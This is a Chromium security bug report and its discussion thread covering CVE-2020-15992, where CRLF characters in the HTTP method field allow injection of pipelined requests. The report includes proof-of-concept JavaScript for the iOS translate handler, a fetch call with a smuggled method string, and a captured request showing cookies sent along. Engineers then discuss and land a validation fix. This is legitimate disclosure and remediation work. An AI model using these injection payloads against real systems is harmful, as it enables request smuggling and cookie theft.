


☆ Starred by 2 users

**Owner:** jzw@chromium.org

**CC:** droger@chromium.org  
eugen...@chromium.org  
dschinazi@chromium.org  
megja...@chromium.org  
 mmenke@chromium.org  
toyoshim@chromium.org  
sporeba@google.com  
ios-bugs-priority@chromium.org  
ios-bugs@chromium.org  
stefanoduo@google.com

**Status:** Fixed (Closed)

**Components:** Internals>Network  
Blink>Loader  
Internals>Services>Network

**Modified:** Jan 9, 2021

**Backlog-Rank:** ----

**Editors:** ----

**EstimatedDays:** ----

**NextAction:** ----

**OS:** Linux, Android, Windows, iOS, Chrome, Mac, Fuchsia

**Pri:** 1

**Type:** Bug-Security

Security\_Impact-Stable  
Security\_Severity-Medium  
allpublic  
CVE\_description-submitted  
Target-85  
M-85  
Release-0-M86  
CVE-2020-15992  
Proj-Servicification

**Issue 1110195: Security: Method field allows injection of HTTP requests**  
Reported by ahuff...@microsoft.com on Tue, Jul 28, 2020, 12:26 AM EDT Project Member

 Code

Description #3 by ahuff...@microsoft.com (Jul 28, 2020) ▾

#### VULNERABILITY DETAILS

I am not clear on the full impact of this issue, but it could be troublesome in certain situations.

I haven't been able to do anything outside of using it to leak another origins cookies either through multi-horned servers that use the Host header to forward traffic or poorly written proxies that rewrite traffic and look at the Host header.

It seems similar to <https://bugs.chromium.org/p/chromium/issues/detail?id=973103>, although I could be missing some context here.

Anyway, it appears that the method field is not sanitized properly in the browser processes URL loader code. The method name can include \r\n characters and it allows you to fully craft a set of arbitrary HTTP(S) requests.

The only place in the code I was able to set an arbitrary method without a renderer compromise was in the iOS "translate.sendrequest" handler.

Some example code that does this is:

```
let msg = {}  
msg["command"] = "translate.sendrequest"  
msg["method"] = "GET / HTTP/1.1\r\nHost: foobar.com\r\nContent-Length: 0\r\n\r\nGET"  
msg["url"] = "https://translate.googleapis.com/"  
msg["body"] = ""  
msg["requestID"] = 0  
let message = {crwCommand: msg,  
  'crwFrameId': __gCrWeb.message.getFrameId()  
}  
window.webkit.messageHandlers.crwwebinvoke.postMessage(message);
```

This obviously just pipelines a bunch of requests to <https://translate.googleapis.com/>. Not terribly interesting. For those not familiar with the iOS code, you can only send these requests to <https://translate.googleapis.com>.

For all other versions of chromium, you can simulate a compromised renderer by doing the following.

Modify `\\src\\third_party\\blink\\renderer\\core\\fetch\\request.cc`

Comment out the code -

```
/*  
  if (!IsValidHTTPToken(init->method())) {  
    exception_state.ThrowTypeError(""" + init->method() +  
      "" is not a valid HTTP method.");  
    return nullptr;  
  }  
  if (FetchUtils::IsForbiddenMethod(init->method())) {  
    exception_state.ThrowTypeError(""" + init->method() +  
      "" HTTP method is unsupported.");
```

```

    return nullptr;
}
*/

and

/*
if (!cors::IsCorsSafelistedMethod(r->GetRequest()->Method())) {
    exception_state.ThrowTypeError("") + r->GetRequest()->Method() +
        "" is unsupported in no-cors mode.");
    return nullptr;
}
*/

```

This is all code that normally lives in the renderer process that verifies some arguments of fetch before shuttling it over the browser process.

Rebuild, then run fetch with arguments like the following:

```

resp = await fetch(new Request("http://google.com", {"method": "GET / HTTP/1.1\r\nHost: foobar.com\r\nContent-Length: 0\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nFake-Header:", "credentials": "include", "mode": "no-cors"}))

```

You will inject some requests. They will again all go to [google.com](http://google.com) as a set of pipelined requests. So again not too interesting by itself.

According to Wireshark the request pipeline looks like the following:

```

GET / HTTP/1.1
Host: foobar.com
Content-Length: 0

POST / HTTP/1.1
Host: 127.0.0.1:8080
Fake-Header: / HTTP/1.1
Host: google.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4202.0 Mobile Safari/537.36 Edg/86.0.584.0
Accept: */*
Origin: http://example.org
Referer: http://example.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XXXXXXXXXXXXXXXXXXXXXXXX

```

This can also be hit in the BeginNavigation IPC call, as the CommonNavigationParams take a method string. Not sure what else I could do with this, but maybe someone more familiar with the net code can think of something interesting and can tell me why this super bad.

#### VERSION

Chrome Version: 84.0.4147.71 + stable  
Operating System: iOS 13.6, Windows 10

#### CREDIT INFORMATION

Reporter credit: Alison Huffman, Microsoft Browser Vulnerability Research

[Comment 1](#) by [ahuff...@microsoft.com](#) on Tue, Jul 28, 2020, 12:49 AM EDT Project Member  
Description was changed.

[Comment 2](#) by [ahuff...@microsoft.com](#) on Tue, Jul 28, 2020, 11:10 AM EDT Project Member  
Description was changed.

[Comment 3](#) by [rsleeve@chromium.org](#) on Tue, Jul 28, 2020, 12:05 PM EDT Project Member  
**Status:** Assigned (was: Unconfirmed)  
**Owner:** toyoshim@chromium.org  
**Cc:** eugen...@chromium.org dschinazi@chromium.org  
**Labels:** Security\_Impact-Stable Security\_Severity-Medium  
**Components:** Blink>Loader Blink>SecurityFeature>CORS

toyoshim: Would you be able to look at this? It seems like a renderer-side-only security check which we likely want browser side, to prevent request smuggling, and probably fits within the OOR-CORS style checks moving browser side?

dschinazi: CC'ing you, in case this makes more sense within the URLRequest logic to validate that set\_method provides valid HTTP tokens as input.

eugenebut: Could you help route the iOS-specific implementation (the translate.sendrequest endpoint)? Although if I'm reading [https://source.chromium.org/chromium/chromium/src/+master/components/translate/ios/browser/translate\\_controller.mm;l=227;drc=da08b7363d0947b0e7d98c5282b4cca513f62100?originalUrl=https:%2F%2Fcs.chromium.org%2F](https://source.chromium.org/chromium/chromium/src/+master/components/translate/ios/browser/translate_controller.mm;l=227;drc=da08b7363d0947b0e7d98c5282b4cca513f62100?originalUrl=https:%2F%2Fcs.chromium.org%2F) correctly, I suspect it would share a same fix as above?

I'm tentatively rating this as Medium, primarily due to the iOS aspect not requiring a compromised renderer.

[Comment 4](#) by [eugen...@chromium.org](#) on Tue, Jul 28, 2020, 12:49 PM EDT Project Member  
**Cc:** megja...@chromium.org  
+megjablon@ for Translate

[Comment 5](#) by [sheriffbot](#) on Tue, Jul 28, 2020, 2:16 PM EDT Project Member  
**Labels:** Target-85 M-85

Setting milestone and target because of Security\_Impact=Stable and medium severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 6](#) by [sheriffbot](#) on Tue, Jul 28, 2020, 2:53 PM EDT Project Member  
**Labels:** Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 7](#) by [sheriffbot](#) on Tue, Aug 11, 2020, 1:37 PM EDT Project Member

toyoshim: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 8](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Wed, Aug 12, 2020, 10:54 PM EDT Project Member

**Status:** Started (was: Assigned)

Oops, I missed a notification for this bug.

Let me check.

[Comment 9](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Thu, Aug 13, 2020, 1:44 AM EDT Project Member

**Cc:** [mmenke@chromium.org](mailto:mmenke@chromium.org)

Regarding the IsCorsSafelistedMethod check, we have the same check in the network service for CORS-enabled requests. But if the request is made as no-cors via fetch API, it seems we have no method checks in the browser process. So, yes, it works to do something malicious for virtual hosts.

mmenke:

Shall we have a token check in the net::URLRequest?

network::URLLoader calls net::URLRequest.set\_method, and net::URLRequest accepts arbitrary std::string here.

I think we want to call net::HttpUtil::IsToken() here and make the request fail if the check returns false.

If we can have a check there, all reported attack surfaces would be audited.

[Comment 10](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Thu, Aug 13, 2020, 1:49 AM EDT Project Member

**Components:** -Blink>SecurityFeature>CORS Internals>Services>Network

Sounds like the problem should be fixed in //net and the network service, and the problem is not limited only for CORS requests.

[Comment 11](#) by [mmenke@chromium.org](mailto:mmenke@chromium.org) on Thu, Aug 13, 2020, 8:48 AM EDT Project Member

The way we currently deal with invalid parameters is to reject them in CorsURLLoaderFactory::IsRequestValid() (Which, despite its placement, is actually also called on non-CORS requests). We could also put a DCHECK or CHECK in net/.

The advantage of IsRequestValid() is that it calls mojo::ReportBadMessage(), which will create a crash report, and it will be co-located with all the other validation of cross-process requests. The downside is it misses internal net/ and services/network requests (which is the reason for the CHECK).

In terms of validation, just using HttpUtil::IsToken() seems safest, though if anyone is sending UTF-8 strings as methods, it would break that use case.

[Comment 12](#) by [rsleeve@chromium.org](mailto:rsleeve@chromium.org) on Thu, Aug 13, 2020, 10:00 AM EDT Project Member

//net and //services/network requests shouldn't be "attacker" controlled, right? The CHECK approach for that sounds good (and I mentioned as much on dschinazi's attempted CL for //net), if we have a central place to filter these at the renderer/browser->network service layer

Matt: Shouldn't that use case already be broken, by virtue of some of the existing surface calling HttpUtil::IsToken() on the renderer side? But also the UTF-8 wouldn't be spec compliant so that should be fine :)

[Comment 13](#) by [mmenke@chromium.org](mailto:mmenke@chromium.org) on Thu, Aug 13, 2020, 10:10 AM EDT Project Member

//net and //services/network requests do grant attackers some control (e.g., when and where to send reports and do certificate revocation checks, CORS headers), but none of those includes setting the method.

Speaking of CORS requests, though, we use the method in "Access-Control-Request-Method" lines before we send the real request, so this does actually need to be done in services/network before URLRequest to cover that case (I believe we only have DCHECKs protecting against headers with CRLFs in them, apart from checks in the aforementioned IsRequestValid()).

rsleeve: I'm not sure what checks the renderer does, but even if it does check IsToken, there are enough ways of making requests that I wouldn't be surprised if some people were relying on it somehow (Android WebView, extensions, etc). If we have standard renderer-initiated requests covered, though, it is certainly much less of a concern.

[Comment 14](#) by [rsleeve@chromium.org](mailto:rsleeve@chromium.org) on Thu, Aug 13, 2020, 11:01 AM EDT Project Member

The check in the renderer is mentioned in the first comment.

[Comment 15](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Thu, Aug 13, 2020, 10:44 PM EDT Project Member

I'm fine with having a check in CorsURLLoaderFactory::IsRequestValid.

(Regarding the name, I'd rename it once OOR-CORS become only the code path for everyone. Maybe SecureURLLoader or something.)

Also for the concern on UTF-8, Blink handles request parameters in UTF-16 as JavaScript does, and convert it to std::string via Latin1() or Ascii() in the Blink CORS checks and at the API boundary for Blink <-> content. So, we don't need to pay much attention on UTF-8 here, I think.

Another information is we recently modify the Access-Control-Allow-Method/Headers checks to be strict. It calls IsToken() for them, and we confirmed that there is no report to fail with this check in the metrics. This result supports my expectation that existing use cases don't rely on UTF-8.

I can prepare a CL to have a check in the CorsURLLoaderFactory.

[Comment 16](#) by [mmenke@chromium.org](mailto:mmenke@chromium.org) on Thu, Aug 13, 2020, 11:00 PM EDT Project Member

SGTM

[Comment 17](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Fri, Aug 14, 2020, 4:25 AM EDT Project Member

**Cc:** [droger@chromium.org](mailto:droger@chromium.org)

cc: droger for ios translate

This is not a real issue for other platforms as it needs to compromise a renderer, but for ios, this is a real issue IIUC.

I'm preparing a fix, <https://chromium-review.googlesource.com/c/chromium/src/+2355534>, and requests from the TranslateController should be captured at the same point as far as I quickly checked in my local manual test. But, I have no expertise to write a good unit test for this specific case.

droger@. can you or someone from your team can write a separate CL to add some unit tests for this case? translate\_controller\_unittest.mm can be a place to have such test as we already have a test for a normal case. So, just changing the method to include CRLF would hit the case. But I'm not sure how I can handle the XHR's completion status from the test.

Also, it would be safe to land the ios test separately as it apparently disclose the detailed scenario.

[Comment 18](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Fri, Aug 14, 2020, 4:30 AM EDT Project Member

To reporter:

IIUC, the Microsoft's Edge also supports translate feature. It's based on the same code base but with a modification to run with Bing Translator, right?

If so, could you also check my fix with Edge, and write a test for Edge once the fix is submitted?

[Comment 19](#) by [bugdroid](mailto:bugdroid) on Mon, Aug 17, 2020, 3:24 AM EDT Project Member

The following revision refers to this bug:  
<https://chromium.googlesource.com/chromium/src.git/+8d6d84b2e6b8299ff1a813fdc74257746358f38f>

commit [6d6d84b2e6b8299ff1a813fdc74257746358f38f](#)

Author: Takashi Toyoshima <[toyoshim@chromium.org](mailto:toyoshim@chromium.org)>

Date: Mon Aug 17 07:23:35 2020

Network Service: Add method validation as the secondary check

Today, the method valid of the HTTP request is validated in Blink for user exposed APIs such as Fetch and XHR to conform the RFC 7230. But it's still possible that compromised renderers insert arbitrary ASCII strings to the method value.

This patch adds the same RFC 7230 token check in the network service as the secondary check.

[Bug=440406](#)

Change-Id: [Ia99a986f82034875f7e8c0b2224f2260a99eeffa](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2355534>

Reviewed-by: Matt Menke <[mmenke@chromium.org](mailto:mmenke@chromium.org)>

Commit-Queue: Takashi Toyoshima <[toyoshim@chromium.org](mailto:toyoshim@chromium.org)>

Cr-Commit-Position: refs/heads/master@{#798557}

[modify] [https://crrev.com/6d6d84b2e6b8299ff1a813fdc74257746358f38f/services/network/cors/cors\\_url\\_loader\\_factory.cc](https://crrev.com/6d6d84b2e6b8299ff1a813fdc74257746358f38f/services/network/cors/cors_url_loader_factory.cc)

[modify] [https://crrev.com/6d6d84b2e6b8299ff1a813fdc74257746358f38f/services/network/cors/cors\\_url\\_loader\\_unittest.cc](https://crrev.com/6d6d84b2e6b8299ff1a813fdc74257746358f38f/services/network/cors/cors_url_loader_unittest.cc)

[Comment 20](#) by [toyoshim@chromium.org](mailto:toyoshim@chromium.org) on Mon, Aug 17, 2020, 4:00 AM EDT Project Member

**Status:** Assigned (was: Started)

**Owner:** droger@chromium.org

**Cc:** toyoshim@chromium.org

The major root cause was fixed, but let me pass the owner to droger@ for doublechecking ios specific security perspectives on translate hooks and for adding some platform specific tests.

[Comment 21](#) by [droger@chromium.org](mailto:droger@chromium.org) on Mon, Aug 17, 2020, 10:01 AM EDT Project Member

**Owner:** jzw@chromium.org

jzw: is this something you could look at for the ios side of things?

[Comment 22](#) by [jzw@chromium.org](mailto:jzw@chromium.org) on Thu, Aug 20, 2020, 7:36 PM EDT Project Member

**Status:** Started (was: Assigned)

Yes let me take a look.

[Comment 23](#) by [bugdroid](#) on Mon, Aug 24, 2020, 3:18 PM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+8eb0e149315f22d62ab7103f35d92b79035bed1d>

commit [8eb0e149315f22d62ab7103f35d92b79035bed1d](#)

Author: John Z Wu <[jzw@chromium.org](mailto:jzw@chromium.org)>

Date: Mon Aug 24 19:17:38 2020

Test invalid "translate.sendrequest" js commands

- Test URLs that do not match the security origin are not handled.
- Test invalid HTTP methods cause the request to fail.

[Bug=440406](#)

Change-Id: [I13ab6c290c752a459e57ba4446dd133bd6d844e8](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2368146>

Reviewed-by: David Roger <[droger@chromium.org](mailto:droger@chromium.org)>

Commit-Queue: John Wu <[jzw@chromium.org](mailto:jzw@chromium.org)>

Cr-Commit-Position: refs/heads/master@{#801100}

[modify] [https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/js\\_translate\\_manager.h](https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/js_translate_manager.h)

[modify] [https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/js\\_translate\\_manager.mm](https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/js_translate_manager.mm)

[modify] [https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/translate\\_controller.h](https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/translate_controller.h)

[modify] [https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/translate\\_controller.mm](https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/translate_controller.mm)

[modify] [https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/translate\\_controller\\_unittest.mm](https://crrev.com/8eb0e149315f22d62ab7103f35d92b79035bed1d/components/translate/ios/browser/translate_controller_unittest.mm)

[Comment 24](#) by [ahuff...@microsoft.com](mailto:ahuff...@microsoft.com) on Thu, Oct 1, 2020, 2:30 PM EDT Project Member

Hi all! What is the status of this issue? Anything pending on this side?

[Comment 25](#) by [jzw@chromium.org](mailto:jzw@chromium.org) on Thu, Oct 1, 2020, 7:55 PM EDT Project Member

**Status:** Fixed (was: Started)

Oh sorry, I believe we can mark this as fixed.

[Comment 26](#) by [sheriffbot](#) on Fri, Oct 2, 2020, 3:08 PM EDT Project Member

**Labels:** -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

[Comment 27](#) by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Oct 5, 2020, 2:46 PM EDT Project Member

**Labels:** Release-0-M86

[Comment 28](#) by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Oct 5, 2020, 2:55 PM EDT Project Member

**Labels:** CVE-2020-15992 CVE\_description-missing

[Comment 29](#) by [adetaylor@google.com](mailto:adetaylor@google.com) on Mon, Nov 2, 2020, 9:16 PM EST Project Member

**Labels:** -CVE\_description-missing CVE\_description-submitted

[Comment 30](#) by [sheriffbot](#) on Fri, Jan 8, 2021, 1:53 PM EST Project Member

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 31](#) by [sheriffbot](#) on Sat, Jan 9, 2021, 1:48 PM EST Project Member

**Labels:** -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot